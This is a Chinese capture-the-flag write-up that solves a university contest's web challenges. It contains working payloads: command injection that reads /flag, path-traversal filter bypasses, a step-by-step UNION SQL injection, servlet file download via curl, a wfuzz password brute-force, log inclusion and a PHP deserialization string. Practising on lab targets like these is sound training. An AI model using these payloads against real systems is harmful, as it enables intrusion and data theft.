商丘师范学院第四届网络安全及信息对抗大赛(校外赛)
WEB
RceMe
1 |
|
com传参,并且传入的参数需要 <=5
payload :
http://challenge.qsnctf.com:32123/?com=nl /*
ezGame
前端小游戏
解法一
找到getflag()
函数
1 |
|
从代码中看到通过get方法打开flag.php并进行传参将会得到flag。
解法二
通过控制台直接对score进行赋值,然后执行getFlag()
Ping
一个ping程序,不可以执行奇奇怪怪的命令哦
源码
1 |
|
传ip,但是不能有;
。我们还可以使用&(%26)、%0a、||等
payload:
?ip=%0acat /flag
Are you from SQNU?
这是一道考察HTTP知识点的题目,抓一下包。
让我们使用POST 方法
传入hhh=abc
这个页面必须从https://sqnu-tysec.com
来。设置一下referer
设置UA为TYsecBrowser
不是本地人?设置一下XFF欸。
让我们设置cookie: user=admin
OK,通过层层关卡,终于拿到flag!
Through
进入题目后,在主页面有一些描述
点击Click to see
能够得到url参数
看起来有可能是文件包含?
存在文件包含,经过尝试是把../
替换为了空。但只有一次替换,所以我们可以使用这种方式绕过:..././
,如此第一个../
被替换为空后就只剩.
拼接后面的./
变成了需要的../
payload:
index.php?file=..././..././..././..././..././..././..././..././..././..././..././..././..././..././flag
File_download
登录框,存在一个help.txt
点击后跳转到help.jsp
Servlet?会不会存在WEB-INF
泄露呢?
访问/DownloadServlet
给了提示,需要传参
传参是filename
通过报错获取到路径
com.ctf.file.DownloadServlet
那么我们需要查看一下WEB-INF
下的web.xml
1 |
|
存在一个/FlagManager
路由,我们访问一下。
http://challenge.qsnctf.com:31780/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class
直接访问的话是无法下载的。
使用post下载
curl -X POST "http://challenge.qsnctf.com:31780/DownloadServlet" -d "filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class" -o 1.class
然后拉入IDEA看源码。
1 |
|
那么我们写脚本逆一下就行了^48-38
1 |
|
商师一日游
访问/atc1acrd.html
查看source?应该是源代码。
获取一部分flag哈哈flag{a
与一个新的页面atc2cnzd.php
构造一块曲奇饼? cookie: fish=strong
8f3b
与atc3oklm.php
看一下响应包
37634d
和atc4zztg.php
a47e4aa
和atc5uupl.php
1 |
|
代码很简单啦,使用换行就行。
payload
?hhh=%0aphp
8146b701
和atc6ertg.php
由于前端代码的缘故无法点击,修改前端代码。
可以给disabled
删了
c97c5
rce,来找flag在哪吧。
payload:
memory=system('cat Tourist_fragment7 ');
flag: flag{a8f3b37634da47e4aa8146b701c97c5b}
小小查询系统
sql注入。
爆字段
?id=1' order by 4--+
字段为3
爆库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctf'--+
爆列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctf' and table_name='flag'--+
爆值
?id=-1' union select 1,group_concat(value),3 from ctf.flag--+
baby include
文件包含
1 |
|
过滤的确实有点多的,但是少了日志。
nginx服务器,尝试日志包含。
读取flag
Input a number
1 |
|
考察点是php中的intval
特性。
这里可以用小数绕过。
My Blog
进入博客点击下功能点
点击GitHub
会跳转到一个pdf
最下面有一个账号密码admin:secret123
访问robots.txt
得到登录界面
登录成功获得flag
Upload_Level1
文件上传,抓包看看什么过滤。
看起来没过滤。。
那么上传木马。
Upload_Level2
成功上传。
baby rce
1 |
|
需要调用TYctf
类中的静态函数getkey
去包含flag.php
extract($_GET);
会将GET数组
中的键作为变量名,值作为变量值。
首先我们需要让$token
为true
从而能够执行call_user_func
来调用我们的TYctf::getkey
payload :
GET:
?param1[]=1¶m2[]=2
POST:
payload=TYctf::getKey
无参之舞
源代码中有提示
进行爆破。
wfuzz -c -u "http://challenge.qsnctf.com:31788/" -d "username=sqctf&password=FUZZ" -w /usr/share/wordlists/fuzzDicts-master/passwordDict/top3000.txt --hh 4515
密码1q2w3e4r
readfile('index.php');
直接读flag。readfile('f1ag.php');
源码
1 |
|
千查万别
随便输入后看url,有文件读取
查看响应头发现是python,尝试读取/proc/1/environ
emmm,这个应该是非预期,官方wp还没出这个时候。
eeaassyy
查看源代码就有
逃
php反序列化 字符串逃逸
1 |
|
传入的序列化数据会先通过filter
函数进行替换,然后再进入反序列化函数。然后反序列化后的对象中的pswd
值需要为excaping
这道题不理解考点,完全不需要逃。只需要改一下pswd
的值即可。
exp
1 |
|
O:4:"test":1:{s:4:"pswd";s:8:"escaping";}